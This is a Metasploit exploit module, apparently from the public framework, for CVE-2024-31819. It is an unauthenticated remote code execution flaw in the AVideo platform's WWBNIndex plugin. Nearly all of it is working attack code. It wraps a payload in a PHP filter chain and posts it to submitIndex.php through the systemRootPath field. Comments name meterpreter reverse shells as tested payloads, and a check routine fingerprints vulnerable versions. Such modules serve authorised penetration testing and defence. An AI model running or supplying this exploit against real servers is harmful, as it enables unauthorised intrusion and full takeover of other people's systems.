## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::PhpFilterChain prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'AVideo WWBNIndex Plugin Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated remote code execution (RCE) vulnerability in the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the `submitIndex.php` file, where user-supplied input is passed directly to the `require()` function without proper sanitization. By exploiting this, an attacker can leverage the PHP filter chaining technique to execute arbitrary PHP code on the server. This allows for the execution of commands and control over the affected system. The exploit is particularly dangerous because it does not require authentication, making it possible for any remote attacker to exploit this vulnerability. }, 'Author' => [ 'Valentin Lobstein' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-31819'], ['URL', 'https://github.com/WWBN/AVideo'], ['URL', 'https://chocapikk.com/posts/2024/cve-2024-31819'] ], 'Platform' => ['php', 'unix', 'linux', 'win'], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix In-Memory', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows In-Memory', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ], ], 'Privileged' => false, 'DisclosureDate' => '2024-04-09', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] }, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443, 'FETCH_WRITABLE_DIR' => '/tmp' } ) ) end def exploit php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>" filter_payload = generate_php_filter_payload(php_code) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "systemRootPath=#{filter_payload}" ) print_error("Server returned #{res.code}. Successful exploit attempts should not return a response.") if res&.code end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true }) return CheckCode::Unknown('Failed to connect to the target.') unless res return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m) return CheckCode::Unknown('Unable to extract AVideo version.') unless version_match && version_match[1] version = Rex::Version.new(version_match[1]) plugin_check = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'), 'method' => 'GET' }) unless plugin_check&.code == 200 CheckCode::Safe('Vulnerable plugin WWBNIndex was not detected') end if version.between?(Rex::Version.new('12.4'), Rex::Version.new('14.2')) return CheckCode::Appears("Detected vulnerable AVideo version: #{version}, with vulnerable plugin WWBNIndex running.") end CheckCode::Safe("Detected non-vulnerable AVideo version: #{version}") end end